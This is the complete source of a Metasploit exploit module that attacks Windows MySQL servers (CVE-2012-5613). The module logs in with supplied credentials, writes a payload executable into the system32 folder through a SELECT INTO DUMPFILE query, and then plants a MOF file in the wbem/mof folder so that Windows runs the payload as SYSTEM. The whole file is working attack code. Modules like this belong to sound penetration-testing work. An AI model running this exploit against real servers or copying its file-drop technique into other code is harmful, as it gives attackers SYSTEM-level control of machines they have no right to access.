## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::WbemExec include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::OptionalSession::MySQL def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution', 'Description' => %q{ This module takes advantage of a file privilege misconfiguration problem specifically against Windows MySQL servers (due to the use of a .mof file). This may result in arbitrary code execution under the context of SYSTEM. This module requires a valid MySQL account on the target machine. }, 'Author' => [ 'kingcope', 'sinn3r' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-5613'], #DISPUTED ['OSVDB', '88118'], ['EDB', '23083'], ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13'] ], 'Platform' => 'win', 'Targets' => [ [ 'MySQL on Windows prior to Vista', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2012-12-01' )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as']), OptString.new('PASSWORD', [ true, 'The password to authenticate with']) ]) end def check m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) return Exploit::CheckCode::Safe if not m return Exploit::CheckCode::Appears if is_windows? return Exploit::CheckCode::Safe end def query(q) rows = [] begin res = mysql_query(q) return rows if not res res.each_hash do |row| rows << row end rescue ::Rex::Proto::MySQL::Client::ParseError return rows end return rows end def is_windows? r = query("SELECT @@version_compile_os;") return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false end def get_drive_letter r = query("SELECT @@tmpdir;") drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' return drive end def upload_file(bin, dest) p = bin.unpack("H*")[0] query("SELECT 0x#{p} into DUMPFILE '#{dest}'") end def exploit print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") begin # If we have a session make use of it if session print_status("Using existing session #{session.sid}") self.mysql_conn = session.client else # otherwise fallback to attempting to login m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) return unless m end rescue ::Rex::Proto::MySQL::Client::AccessDeniedError print_error("Access denied.") return end if not is_windows? print_error("Remote host isn't Windows.") return end drive = get_drive_letter exe_name = Rex::Text::rand_text_alpha(5) + ".exe" dest = "#{drive}:/windows/system32/#{exe_name}" exe = generate_payload_exe print_status("Uploading to '#{dest}'") begin upload_file(exe, dest) register_file_for_cleanup("#{exe_name}") rescue ::Rex::Proto::MySQL::Client::AccessDeniedError print_error("No permission to write. I blame kc :-)") return end mof_name = Rex::Text::rand_text_alpha(5) + ".mof" dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}" mof = generate_mof(mof_name, exe_name) print_status("Uploading to '#{dest}'") begin upload_file(mof, dest) register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") rescue ::Rex::Proto::MySQL::Client::AccessDeniedError print_error("No permission to write. Bail!") return end end end